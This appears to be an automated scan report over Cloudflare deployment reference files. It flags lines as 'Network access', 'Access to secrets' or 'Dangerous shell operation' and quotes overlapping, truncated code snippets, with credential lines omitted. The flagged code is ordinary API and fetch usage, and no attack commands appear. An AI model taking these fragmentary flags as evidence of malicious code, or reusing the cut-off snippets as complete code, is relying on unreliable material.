**Cause:** Typo or unsupported facility **Solution:** Check [locations PDF](https://developers.cloudflare.com/network-interconnect/static/cni-locations-2026-01.pdf) for valid codes - Network accessline 65
**Solution:** Check [locations PDF](https://developers.cloudflare.com/network-interconnect/static/cni-locations-2026-01.pdf) for valid codes - Network accessline 102
**Cause:** BGP routes from GCP Cloud Router **ignored by design** **Solution:** Use [static routes](https://developers.cloudflare.com/magic-wan/configuration/manually/how-to/configure-routes/#configure-static-routes) in Magic WAN instead - Network accessline 103
**Solution:** Use [static routes](https://developers.cloudflare.com/magic-wan/configuration/manually/how-to/configure-routes/#configure-static-routes) in Magic WAN instead
packages/autoskills/skills-registry/cloudflare-deploy/references/network-interconnect/patterns.md
packages/autoskills/skills-registry/cloudflare-deploy/references/observability/README.md
- Network accessline 85
- [Cloudflare Workers Docs](https://developers.cloudflare.com/workers/) - Network accessline 86
- [Analytics Engine Docs](https://developers.cloudflare.com/analytics/analytics-engine/) - Network accessline 87
- [Workers Traces Docs](https://developers.cloudflare.com/workers/observability/traces/)
packages/autoskills/skills-registry/cloudflare-deploy/references/observability/api.md
packages/autoskills/skills-registry/cloudflare-deploy/references/observability/configuration.md
- Network accessline 60
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 61
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 98
// Send to external monitoring ctx.waitUntil( fetch('https://monitoring.example.com/errors', { - Network accessline 99
ctx.waitUntil( fetch('https://monitoring.example.com/errors', { method: 'POST', - Network accessline 100
fetch('https://monitoring.example.com/errors', { - Network accessline 123
curl -X POST "https://api.cloudflare.com/client/v4/accounts/{account_id}/logpush/jobs" \
packages/autoskills/skills-registry/cloudflare-deploy/references/observability/gotchas.md
- Network accessline 14
# Test with curl curl https://your-worker.workers.dev - Network accessline 15
curl https://your-worker.workers.dev - Network accessline 55
// Date.now() is coarsened - trace spans are accurate export default { async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { - Network accessline 56
export default { async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { // For user-facing timing, Date.now() is fine - Network accessline 57
async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { - Network accessline 94
// Pass correlationId through headers to downstream services await fetch('https://api.example.com', { - Network accessline 95
await fetch('https://api.example.com', {
packages/autoskills/skills-registry/cloudflare-deploy/references/observability/patterns.md
- Network accessline 22
const start = Date.now(); const response = await fetch(url); - Network accessline 23
const response = await fetch(url); - Network accessline 66
ctx.waitUntil( fetch('https://logging.example.com/ingest', { - Network accessline 67
fetch('https://logging.example.com/ingest', { - Access to secretsline 69
[Credential-related source omitted] - Network accessline 96
ctx.waitUntil( fetch('https://api.honeycomb.io/v1/traces', { - Network accessline 97
fetch('https://api.honeycomb.io/v1/traces', { - Access to secretsline 99
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/pages-functions/api.md
- Access to secretsline 62
[Credential-related source omitted] - Access to secretsline 74
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Network accessline 96
[Credential-related source omitted] - Access to secretsline 96
[Credential-related source omitted] - Network accessline 97
const stub = ctx.env.COUNTER.get(ctx.env.COUNTER.idFromName('global')); return stub.fetch(ctx.request); }; - Network accessline 98
return stub.fetch(ctx.request); - Access to secretsline 106
[Credential-related source omitted] - Access to secretsline 115
[Credential-related source omitted] - Network accessline 116
[Credential-related source omitted] - Access to secretsline 116
[Credential-related source omitted] - Network accessline 118
return ctx.env.AUTH.fetch(ctx.request); - Access to secretsline 121
[Credential-related source omitted] - Network accessline 127
When using `_worker.js`, access static assets via `env.ASSETS.fetch()`: - Network accessline 132
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 133
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 136
return Response.json({ data: await env.KV.get('key') }); } return env.ASSETS.fetch(request); // Fallback to static - Network accessline 137
} return env.ASSETS.fetch(request); // Fallback to static } - Network accessline 138
return env.ASSETS.fetch(request); // Fallback to static - Access to secretsline 140
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/pages-functions/configuration.md
- Access to secretsline 15
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 29
[Credential-related source omitted] - Network accessline 42
"vars": { "API_URL": "https://api.example.com" }, - Network accessline 59
{ "vars": { "API_URL": "http://localhost:8787" }, - Network accessline 60
"vars": { "API_URL": "http://localhost:8787" }, - Network accessline 61
"env": { "production": { "vars": { "API_URL": "https://api.example.com" } } } - Network accessline 62
"production": { "vars": { "API_URL": "https://api.example.com" } } - Access to secretsline 78
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/pages-functions/gotchas.md
- Access to secretsline 25
[Credential-related source omitted] - Access to secretsline 30
[Credential-related source omitted] - Network accessline 78
**Workers → Pages Functions:** - `export default { fetch(req, env) {} }` → `export function onRequest(ctx) { const { request, env } = ctx; }` - Network accessline 79
- `export default { fetch(req, env) {} }` → `export function onRequest(ctx) { const { request, env } = ctx; }` - Network accessline 80
- Use `_worker.js` for complex routing: `env.ASSETS.fetch(request)` for static files - Network accessline 89
- [Official Docs](https://developers.cloudflare.com/pages/functions/) - Network accessline 90
- [Workers APIs](https://developers.cloudflare.com/workers/runtime-apis/) - Network accessline 91
- [Examples](https://github.com/cloudflare/pages-example-projects) - Network accessline 92
- [Discord](https://discord.gg/cloudflaredev)
packages/autoskills/skills-registry/cloudflare-deploy/references/pages-functions/patterns.md
- Access to secretsline 8
[Credential-related source omitted] - Network accessline 12
ctx.waitUntil(Promise.all([ ctx.env.ANALYTICS.writeDataPoint({ event: 'view' }), fetch('https://webhook.site/...', { method: 'POST' }) - Network accessline 13
ctx.env.ANALYTICS.writeDataPoint({ event: 'view' }), fetch('https://webhook.site/...', { method: 'POST' }) ])); - Network accessline 14
fetch('https://webhook.site/...', { method: 'POST' }) - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 56
[Credential-related source omitted] - Network accessline 107
it('returns JSON', async () => { const req = new Request('http://localhost/api'); - Network accessline 108
const req = new Request('http://localhost/api'); - Network accessline 124
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 125
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 128
return Response.json({ data: await env.KV.get('key') }); } return env.ASSETS.fetch(request); // Static files - Network accessline 129
} return env.ASSETS.fetch(request); // Static files } - Network accessline 130
return env.ASSETS.fetch(request); // Static files - Access to secretsline 132
[Credential-related source omitted] - Network accessline 137
**See also:** [api.md](./api.md) for `env.ASSETS.fetch()` | [gotchas.md](./gotchas.md) for debugging
packages/autoskills/skills-registry/cloudflare-deploy/references/pages/README.md
- Network accessline 61
- [Pages Docs](https://developers.cloudflare.com/pages/) - Network accessline 62
- [Functions API](https://developers.cloudflare.com/pages/functions/api-reference/) - Network accessline 63
- [Framework Guides](https://developers.cloudflare.com/pages/framework-guides/) - Network accessline 64
- [Discord #functions](https://discord.com/channels/595317990191398933/910978223968518144)
packages/autoskills/skills-registry/cloudflare-deploy/references/pages/api.md
- Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 31
[Credential-related source omitted] - Access to secretsline 41
[Credential-related source omitted] - Access to secretsline 115
[Credential-related source omitted] - Network accessline 134
// functions/_worker.js export default { async fetch(request, env, ctx) { - Network accessline 135
export default { async fetch(request, env, ctx) { const url = new URL(request.url); - Network accessline 136
async fetch(request, env, ctx) { - Network accessline 144
// REQUIRED: Serve static assets return env.ASSETS.fetch(request); - Network accessline 145
return env.ASSETS.fetch(request);
packages/autoskills/skills-registry/cloudflare-deploy/references/pages/configuration.md
- Network accessline 21
"ai": {"binding": "AI"}, "analytics_engine_datasets": [{"binding": "ANALYTICS"}], "vars": {"API_URL": "https://api.example.com", "ENVIRONMENT": "production"}, - Network accessline 22
"analytics_engine_datasets": [{"binding": "ANALYTICS"}], "vars": {"API_URL": "https://api.example.com", "ENVIRONMENT": "production"}, "env": { - Network accessline 23
"vars": {"API_URL": "https://api.example.com", "ENVIRONMENT": "production"}, - Network accessline 24
"env": { "preview": { "vars": {"API_URL": "https://staging-api.example.com"}, - Network accessline 25
"preview": { "vars": {"API_URL": "https://staging-api.example.com"}, "kv_namespaces": [{"binding": "KV", "id": "preview-namespace-id"}] - Network accessline 26
"vars": {"API_URL": "https://staging-api.example.com"}, - Access to secretsline 54
[Credential-related source omitted] - Network accessline 201
[Full limits](https://developers.cloudflare.com/pages/platform/limits/)
packages/autoskills/skills-registry/cloudflare-deploy/references/pages/gotchas.md
- Network accessline 11
**Problem**: Static files not serving **Causes**: Build output dir misconfigured; Functions catching requests; Advanced mode missing `env.ASSETS.fetch()` - Network accessline 12
**Causes**: Build output dir misconfigured; Functions catching requests; Advanced mode missing `env.ASSETS.fetch()` - Network accessline 13
**Solution**: Verify output dir, add exclusions to `_routes.json`, call `env.ASSETS.fetch()` in `_worker.js` - Network accessline 196
[Full limits](https://developers.cloudflare.com/pages/platform/limits/) - Network accessline 200
1. Check [Pages Docs](https://developers.cloudflare.com/pages/) - Network accessline 201
2. Search [Discord #functions](https://discord.com/channels/595317990191398933/910978223968518144) - Network accessline 202
3. Review [Workers Examples](https://developers.cloudflare.com/workers/examples/)
packages/autoskills/skills-registry/cloudflare-deploy/references/pages/patterns.md
- Access to secretsline 7
[Credential-related source omitted] - Access to secretsline 13
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 34
[Credential-related source omitted] - Access to secretsline 68
[Credential-related source omitted] - Network accessline 78
export const onRequestPost: PagesFunction = async ({ request, waitUntil }) => { const data = await request.json(); waitUntil(fetch('https://api.example.com/webhook', { - Network accessline 79
const data = await request.json(); waitUntil(fetch('https://api.example.com/webhook', { method: 'POST', body: JSON.stringify(data) - Network accessline 80
waitUntil(fetch('https://api.example.com/webhook', { - Access to secretsline 111
[Credential-related source omitted] - Access to secretsline 142
[Credential-related source omitted] - Network accessline 194
[Framework Guides](https://developers.cloudflare.com/pages/framework-guides/)
packages/autoskills/skills-registry/cloudflare-deploy/references/pipelines/README.md
packages/autoskills/skills-registry/cloudflare-deploy/references/pipelines/api.md
- Network accessline 15
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 16
async fetch(request: Request, env: Env): Promise<Response> { - Access to secretsline 21
[Credential-related source omitted] - Network accessline 60
export default { async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { - Network accessline 61
async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { - Network accessline 89
https://{stream-id}.ingest.cloudflare.com - Network accessline 99
# ✅ Correct curl -X POST https://{stream-id}.ingest.cloudflare.com \ - Network accessline 100
curl -X POST https://{stream-id}.ingest.cloudflare.com \ - Network accessline 104
# ❌ Wrong - will fail curl -X POST https://{stream-id}.ingest.cloudflare.com \ - Network accessline 105
curl -X POST https://{stream-id}.ingest.cloudflare.com \ - Network accessline 113
curl -X POST https://{stream-id}.ingest.cloudflare.com \ - Network accessline 151
Full reference: [Pipelines SQL Reference](https://developers.cloudflare.com/pipelines/sql-reference/) - Access to secretsline 193
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/pipelines/patterns.md
packages/autoskills/skills-registry/cloudflare-deploy/references/pulumi/README.md
packages/autoskills/skills-registry/cloudflare-deploy/references/pulumi/api.md
- Network accessline 53
db.id.apply(async (dbId) => { const response = await fetch( - Network accessline 54
const response = await fetch( - Network accessline 55
`https://api.cloudflare.com/client/v4/accounts/${accountId}/d1/database/${dbId}/query`, - Network accessline 70
class D1MigrationProvider implements pulumi.dynamic.ResourceProvider { async create(inputs: any): Promise<pulumi.dynamic.CreateResult> { const response = await fetch( - Network accessline 71
async create(inputs: any): Promise<pulumi.dynamic.CreateResult> { const response = await fetch( `https://api.cloudflare.com/client/v4/accounts/${inputs.accountId}/d1/database/${inputs.databaseId}/query`, - Network accessline 72
const response = await fetch( - Network accessline 73
`https://api.cloudflare.com/client/v4/accounts/${inputs.accountId}/d1/database/${inputs.databaseId}/query`, - Access to secretsline 139
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/pulumi/configuration.md
- Access to secretsline 31
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/pulumi/gotchas.md
- Network accessline 107
// Worker code export default { async fetch(request, env) { await env.MY_KV.get("key"); }} - Network accessline 108
export default { async fetch(request, env) { await env.MY_KV.get("key"); }} - Network accessline 174
- **Pulumi Registry:** https://www.pulumi.com/registry/packages/cloudflare/ - Network accessline 175
- **API Docs:** https://www.pulumi.com/registry/packages/cloudflare/api-docs/ - Network accessline 176
- **GitHub:** https://github.com/pulumi/pulumi-cloudflare - Network accessline 177
- **Cloudflare Docs:** https://developers.cloudflare.com/ - Network accessline 178
- **Workers Docs:** https://developers.cloudflare.com/workers/
packages/autoskills/skills-registry/cloudflare-deploy/references/queues/api.md
- Access to secretsline 62
[Credential-related source omitted] - Network accessline 157
// Pull messages const response = await fetch( - Network accessline 158
const response = await fetch( - Network accessline 159
`https://api.cloudflare.com/client/v4/accounts/${ACCOUNT_ID}/queues/${QUEUE_ID}/messages/pull`, - Access to secretsline 162
[Credential-related source omitted] - Network accessline 169
// Acknowledge await fetch( - Network accessline 170
await fetch( - Network accessline 171
`https://api.cloudflare.com/client/v4/accounts/${ACCOUNT_ID}/queues/${QUEUE_ID}/messages/ack`, - Access to secretsline 174
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/queues/configuration.md
- Access to secretsline 88
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/queues/patterns.md
- Network accessline 6
// Producer: Accept request, queue work export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 7
export default { async fetch(request: Request, env: Env): Promise<Response> { const { userId, reportType } = await request.json(); - Network accessline 8
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 39
async queue(batch: MessageBatch, env: Env): Promise<void> { const logs = batch.messages.map(m => m.body); await fetch(env.LOG_ENDPOINT, { method: 'POST', body: JSON.stringify({ logs }) }); - Network accessline 40
const logs = batch.messages.map(m => m.body); await fetch(env.LOG_ENDPOINT, { method: 'POST', body: JSON.stringify({ logs }) }); batch.ackAll(); - Network accessline 41
await fetch(env.LOG_ENDPOINT, { method: 'POST', body: JSON.stringify({ logs }) }); - Network accessline 124
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 209
try { await stub.fetch(new Request('https://do/process', { - Network accessline 210
await stub.fetch(new Request('https://do/process', {
packages/autoskills/skills-registry/cloudflare-deploy/references/r2-data-catalog/README.md
packages/autoskills/skills-registry/cloudflare-deploy/references/r2-data-catalog/api.md
- Network accessline 3
R2 Data Catalog exposes standard [Apache Iceberg REST Catalog API](https://github.com/apache/iceberg/blob/main/open-api/rest-catalog-open-api.yaml).
packages/autoskills/skills-registry/cloudflare-deploy/references/r2-data-catalog/configuration.md
- Network accessline 7
- Cloudflare account with [R2 subscription](https://developers.cloudflare.com/r2/pricing/) - Network accessline 41
curl -X POST \ - Network accessline 42
"https://api.cloudflare.com/client/v4/accounts/<account-id>/r2/buckets/<bucket>/catalog" \ - Network accessline 121
# Store credentials in environment variables WAREHOUSE = os.getenv("R2_WAREHOUSE") # e.g., "my-bucket" CATALOG_URI = os.getenv("R2_CATALOG_URI") # e.g., "https://abc123.r2.cloudflarestorage.com/iceberg/my-bucket" - Network accessline 122
[Credential-related source omitted] - Network accessline 123
CATALOG_URI = os.getenv("R2_CATALOG_URI") # e.g., "https://abc123.r2.cloudflarestorage.com/iceberg/my-bucket" - Access to secretsline 124
[Credential-related source omitted] - Access to secretsline 172
[Credential-related source omitted] - Access to secretsline 186
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/r2-data-catalog/gotchas.md
- Network accessline 162
- [Cloudflare Community](https://community.cloudflare.com/c/developers/workers/40) - Network accessline 163
- [Cloudflare Discord](https://discord.cloudflare.com) - #r2 channel - Network accessline 164
- [PyIceberg GitHub](https://github.com/apache/iceberg-python/issues) - Network accessline 165
- [Apache Iceberg Slack](https://iceberg.apache.org/community/)
packages/autoskills/skills-registry/cloudflare-deploy/references/r2-data-catalog/patterns.md
- Access to secretsline 16
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/r2-sql/README.md
- Access to secretsline 96
[Credential-related source omitted] - Network accessline 125
- [pipelines](../pipelines/) - Streaming ingestion to Iceberg tables - [r2](../r2/) - R2 object storage fundamentals - [Cloudflare R2 SQL Docs](https://developers.cloudflare.com/r2-sql/) - Network accessline 126
- [r2](../r2/) - R2 object storage fundamentals - [Cloudflare R2 SQL Docs](https://developers.cloudflare.com/r2-sql/) - [R2 SQL Deep Dive Blog](https://blog.cloudflare.com/r2-sql-deep-dive/) - Network accessline 127
- [Cloudflare R2 SQL Docs](https://developers.cloudflare.com/r2-sql/) - Network accessline 128
- [R2 SQL Deep Dive Blog](https://blog.cloudflare.com/r2-sql-deep-dive/)
packages/autoskills/skills-registry/cloudflare-deploy/references/r2-sql/configuration.md
- Network accessline 27
Catalog enabled successfully Warehouse: my-bucket Catalog URI: https://abc123.r2.cloudflarestorage.com/iceberg/my-bucket - Network accessline 29
Catalog URI: https://abc123.r2.cloudflarestorage.com/iceberg/my-bucket - Access to secretsline 75
[Credential-related source omitted] - Access to secretsline 81
[Credential-related source omitted] - Network accessline 91
curl -X POST https://api.cloudflare.com/client/v4/accounts/{account_id}/r2/sql/query \ - Access to secretsline 123
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/r2-sql/gotchas.md
- Network accessline 12
// ❌ This doesn't exist export default { async fetch(request, env) { - Network accessline 13
export default { async fetch(request, env) { const result = await env.R2_SQL.query("SELECT * FROM table"); // Not possible - Network accessline 14
async fetch(request, env) { - Access to secretsline 97
[Credential-related source omitted] - Access to secretsline 98
[Credential-related source omitted] - Access to secretsline 100
[Credential-related source omitted] - Access to secretsline 101
[Credential-related source omitted] - Access to secretsline 199
[Credential-related source omitted] - Network accessline 210
- [patterns.md](patterns.md) - Query optimization - [configuration.md](configuration.md) - Setup - [Cloudflare R2 SQL Docs](https://developers.cloudflare.com/r2-sql/) - Network accessline 212
- [Cloudflare R2 SQL Docs](https://developers.cloudflare.com/r2-sql/)
packages/autoskills/skills-registry/cloudflare-deploy/references/r2-sql/patterns.md
packages/autoskills/skills-registry/cloudflare-deploy/references/r2/api.md
- Network accessline 98
const s3 = new S3Client({ region: 'auto', endpoint: `https://${accountId}.r2.cloudflarestorage.com`, - Network accessline 99
region: 'auto', endpoint: `https://${accountId}.r2.cloudflarestorage.com`, credentials: { accessKeyId: env.R2_ACCESS_KEY_ID, secretAccessKey: env.R2_SECRET_ACCESS_KEY } - Network accessline 100
endpoint: `https://${accountId}.r2.cloudflarestorage.com`, - Access to secretsline 101
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/r2/configuration.md
- Network accessline 22
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 23
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 35
const s3 = new S3Client({ region: 'auto', endpoint: `https://${accountId}.r2.cloudflarestorage.com`, - Network accessline 36
region: 'auto', endpoint: `https://${accountId}.r2.cloudflarestorage.com`, credentials: { - Network accessline 37
endpoint: `https://${accountId}.r2.cloudflarestorage.com`, - Access to secretsline 40
[Credential-related source omitted] - Network accessline 68
const s3 = new S3Client({ region: 'auto', endpoint: `https://${accountId}.r2.cloudflarestorage.com`, - Network accessline 69
region: 'auto', endpoint: `https://${accountId}.r2.cloudflarestorage.com`, credentials: { - Network accessline 70
endpoint: `https://${accountId}.r2.cloudflarestorage.com`, - Access to secretsline 73
[Credential-related source omitted] - Network accessline 79
CORSConfiguration: { CORSRules: [{ AllowedOrigins: ['https://example.com'], - Network accessline 80
CORSRules: [{ AllowedOrigins: ['https://example.com'], AllowedMethods: ['GET', 'PUT', 'HEAD'], - Network accessline 81
AllowedOrigins: ['https://example.com'],
packages/autoskills/skills-registry/cloudflare-deploy/references/r2/gotchas.md
- Network accessline 82
// ❌ WRONG: Streaming unknown length fails silently const response = await fetch(url); - Network accessline 83
const response = await fetch(url); - Network accessline 103
// ❌ WRONG: Missing region breaks ALL S3 SDK calls const s3 = new S3Client({ endpoint: `https://${accountId}.r2.cloudflarestorage.com`, - Network accessline 104
const s3 = new S3Client({ endpoint: `https://${accountId}.r2.cloudflarestorage.com`, credentials: { ... } - Network accessline 105
endpoint: `https://${accountId}.r2.cloudflarestorage.com`, - Network accessline 110
const s3 = new S3Client({ region: 'auto', // REQUIRED endpoint: `https://${accountId}.r2.cloudflarestorage.com`, - Network accessline 111
region: 'auto', // REQUIRED endpoint: `https://${accountId}.r2.cloudflarestorage.com`, credentials: { ... } - Network accessline 112
endpoint: `https://${accountId}.r2.cloudflarestorage.com`,
packages/autoskills/skills-registry/cloudflare-deploy/references/r2/patterns.md
- Network accessline 108
const s3 = new S3Client({ region: 'auto', endpoint: `https://${env.ACCOUNT_ID}.r2.cloudflarestorage.com`, - Network accessline 109
region: 'auto', endpoint: `https://${env.ACCOUNT_ID}.r2.cloudflarestorage.com`, credentials: { accessKeyId: env.R2_ACCESS_KEY_ID, secretAccessKey: env.R2_SECRET_ACCESS_KEY } - Network accessline 110
endpoint: `https://${env.ACCOUNT_ID}.r2.cloudflarestorage.com`, - Access to secretsline 111
[Credential-related source omitted] - Network accessline 117
// Client: Upload directly const { uploadUrl } = await fetch('/api/upload-url').then(r => r.json()); - Network accessline 118
const { uploadUrl } = await fetch('/api/upload-url').then(r => r.json()); - Network accessline 119
await fetch(uploadUrl, { method: 'PUT', body: file }); - Network accessline 125
export default { async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { - Network accessline 126
async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { - Network accessline 158
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 159
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 190
Enable r2.dev in dashboard for simple public access: `https://pub-${hashId}.r2.dev/${key}` - Network accessline 191
Or add custom domain via dashboard: `https://files.example.com/${key}`
packages/autoskills/skills-registry/cloudflare-deploy/references/realtime-sfu/README.md
- Network accessline 55
Dashboard: https://dash.cloudflare.com/?to=/:account/calls - Network accessline 61
- [Orange Meets Demo](https://demo.orange.cloudflare.dev/) - Network accessline 62
- [Orange Source](https://github.com/cloudflare/orange) - Network accessline 63
- [Calls Examples](https://github.com/cloudflare/calls-examples) - Network accessline 64
- [API Reference](https://developers.cloudflare.com/api/resources/calls/) - Network accessline 65
- [RealtimeKit Docs](https://developers.cloudflare.com/workers-ai/realtimekit/)
packages/autoskills/skills-registry/cloudflare-deploy/references/realtime-sfu/api.md
- Network accessline 6
[Credential-related source omitted] - Access to secretsline 6
[Credential-related source omitted] - Access to secretsline 7
[Credential-related source omitted] - Network accessline 103
// 4. Send to backend → Cloudflare API const response = await fetch('/api/new-session', { - Network accessline 104
const response = await fetch('/api/new-session', { - Network accessline 120
const res = await fetch(`/api/sessions/${sessionId}/tracks`, { - Network accessline 136
const res = await fetch(`/api/sessions/${sessionId}/tracks`, { - Network accessline 149
await fetch(`/api/sessions/${sessionId}/renegotiate`, {
packages/autoskills/skills-registry/cloudflare-deploy/references/realtime-sfu/configuration.md
packages/autoskills/skills-registry/cloudflare-deploy/references/realtime-sfu/gotchas.md
- Network accessline 44
// Send to backend → Cloudflare API await fetch(`/api/sessions/${sessionId}/renegotiate`, { - Network accessline 45
await fetch(`/api/sessions/${sessionId}/renegotiate`, { - Network accessline 83
for (let i = 0; i < maxRetries; i++) { try { const res = await fetch(url, options); - Network accessline 84
try { const res = await fetch(url, options); if (res.ok) return res; - Network accessline 85
const res = await fetch(url, options);
packages/autoskills/skills-registry/cloudflare-deploy/references/realtime-sfu/patterns.md
- Network accessline 74
app.post('/api/new-session', async (req, res) => { const r = await fetch(`${CALLS_API}/apps/${process.env.CALLS_APP_ID}/sessions/new`, - Network accessline 75
const r = await fetch(`${CALLS_API}/apps/${process.env.CALLS_APP_ID}/sessions/new`, - Access to secretsline 76
[Credential-related source omitted] - Access to secretsline 81
[Credential-related source omitted] - Network accessline 136
toAdd.forEach(async id => { await fetch(`/api/subscribe`, {method: 'POST', body: JSON.stringify({trackId: id})}); - Network accessline 137
await fetch(`/api/subscribe`, {method: 'POST', body: JSON.stringify({trackId: id})});
packages/autoskills/skills-registry/cloudflare-deploy/references/realtimekit/README.md
- Network accessline 26
# Create app curl -X POST 'https://api.cloudflare.com/client/v4/accounts/<account_id>/realtime/kit/apps' \ - Network accessline 27
curl -X POST 'https://api.cloudflare.com/client/v4/accounts/<account_id>/realtime/kit/apps' \ - Network accessline 31
# Create meeting curl -X POST 'https://api.cloudflare.com/client/v4/accounts/<account_id>/realtime/kit/<app_id>/meetings' \ - Network accessline 32
curl -X POST 'https://api.cloudflare.com/client/v4/accounts/<account_id>/realtime/kit/<app_id>/meetings' \ - Network accessline 36
# Add participant curl -X POST 'https://api.cloudflare.com/client/v4/accounts/<account_id>/realtime/kit/<app_id>/meetings/<meeting_id>/participants' \ - Network accessline 37
curl -X POST 'https://api.cloudflare.com/client/v4/accounts/<account_id>/realtime/kit/<app_id>/meetings/<meeting_id>/participants' \ - Access to secretsline 50
[Credential-related source omitted] - Network accessline 110
- **Official Docs**: https://developers.cloudflare.com/realtime/realtimekit/ - Network accessline 111
- **API Reference**: https://developers.cloudflare.com/api/resources/realtime_kit/ - Network accessline 112
- **Examples**: https://github.com/cloudflare/realtimekit-web-examples - Network accessline 113
- **Dashboard**: https://dash.cloudflare.com/?to=/:account/realtime/kit
packages/autoskills/skills-registry/cloudflare-deploy/references/realtimekit/api.md
- Network accessline 130
Base: `https://api.cloudflare.com/client/v4/accounts/{account_id}/realtime/kit/{app_id}` - Network accessline 192
GET /webhooks # List all POST /webhooks # Create: {"url": "https://...", "events": ["session.started", "session.ended"]} - Network accessline 193
POST /webhooks # Create: {"url": "https://...", "events": ["session.started", "session.ended"]}
packages/autoskills/skills-registry/cloudflare-deploy/references/realtimekit/configuration.md
- Network accessline 38
<script type="module" src="https://cdn.jsdelivr.net/npm/@cloudflare/realtimekit-ui/dist/realtimekit-ui/realtimekit-ui.esm.js"></script> - Network accessline 65
**Dashboard**: https://dash.cloudflare.com/?to=/:account/realtime/kit - Network accessline 69
curl -X POST 'https://api.cloudflare.com/client/v4/accounts/<account_id>/realtime/kit/apps' \ - Network accessline 80
curl -X POST 'https://api.cloudflare.com/client/v4/accounts/<account_id>/realtime/kit/<app_id>/presets' \ - Network accessline 156
theme: 'dark' // 'light' | 'dark' }, logo: { url: 'https://example.com/logo.png', altText: 'Company' } - Network accessline 157
}, logo: { url: 'https://example.com/logo.png', altText: 'Company' } }; - Network accessline 158
logo: { url: 'https://example.com/logo.png', altText: 'Company' }
packages/autoskills/skills-registry/cloudflare-deploy/references/realtimekit/gotchas.md
packages/autoskills/skills-registry/cloudflare-deploy/references/realtimekit/patterns.md
- Network accessline 14
// HTML/Web Components <script type="module" src="https://cdn.jsdelivr.net/npm/@cloudflare/realtimekit-ui/dist/realtimekit-ui/realtimekit-ui.esm.js"></script> - Network accessline 15
<script type="module" src="https://cdn.jsdelivr.net/npm/@cloudflare/realtimekit-ui/dist/realtimekit-ui/realtimekit-ui.esm.js"></script> - Network accessline 41
**See full catalog**: https://docs.realtime.cloudflare.com/ui-kit - Network accessline 118
// Approve from waitlist (backend only) await fetch( - Network accessline 119
await fetch( - Network accessline 120
`https://api.cloudflare.com/client/v4/accounts/${accountId}/realtime/kit/${appId}/meetings/${meetingId}/active-session/waitlist/approve`, - Access to secretsline 177
[Credential-related source omitted] - Network accessline 179
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 180
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 183
if (url.pathname === '/api/join-meeting') { const { meetingId, userName, presetName } = await request.json(); const response = await fetch( - Network accessline 184
const { meetingId, userName, presetName } = await request.json(); const response = await fetch( `https://api.cloudflare.com/client/v4/accounts/${env.CLOUDFLARE_ACCOUNT_ID}/realtime/kit/${env.REALTIMEKIT_APP_ID}/meetings/${meet - Network accessline 185
const response = await fetch( - Network accessline 186
`https://api.cloudflare.com/client/v4/accounts/${env.CLOUDFLARE_ACCOUNT_ID}/realtime/kit/${env.REALTIMEKIT_APP_ID}/meetings/${meetingId}/participants`, - Access to secretsline 189
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/sandbox/README.md
packages/autoskills/skills-registry/cloudflare-deploy/references/sandbox/api.md
- Access to secretsline 13
[Credential-related source omitted] - Network accessline 123
// Proxy WebSocket to sandbox service export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 124
export default { async fetch(request: Request, env: Env): Promise<Response> { const proxyResponse = await proxyToSandbox(request, env); - Network accessline 125
async fetch(request: Request, env: Env): Promise<Response> {
packages/autoskills/skills-registry/cloudflare-deploy/references/sandbox/configuration.md
- Network accessline 72
"vars": { "ENVIRONMENT": "production", "API_URL": "https://api.example.com" - Network accessline 73
"ENVIRONMENT": "production", "API_URL": "https://api.example.com" }, - Network accessline 74
"API_URL": "https://api.example.com" - Access to secretsline 85
[Credential-related source omitted] - Access to secretsline 87
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/sandbox/gotchas.md
- Access to secretsline 150
[Credential-related source omitted] - Access to secretsline 154
[Credential-related source omitted] - Network accessline 161
https://8080-sandbox-abc123def456.yourdomain.com - Dangerous shell operationline 176
| exec() | 120s | `timeout` option | - Network accessline 186
See: https://developers.cloudflare.com/sandbox/guides/production-deployment/ - Network accessline 190
- [Official Docs](https://developers.cloudflare.com/sandbox/) - Network accessline 191
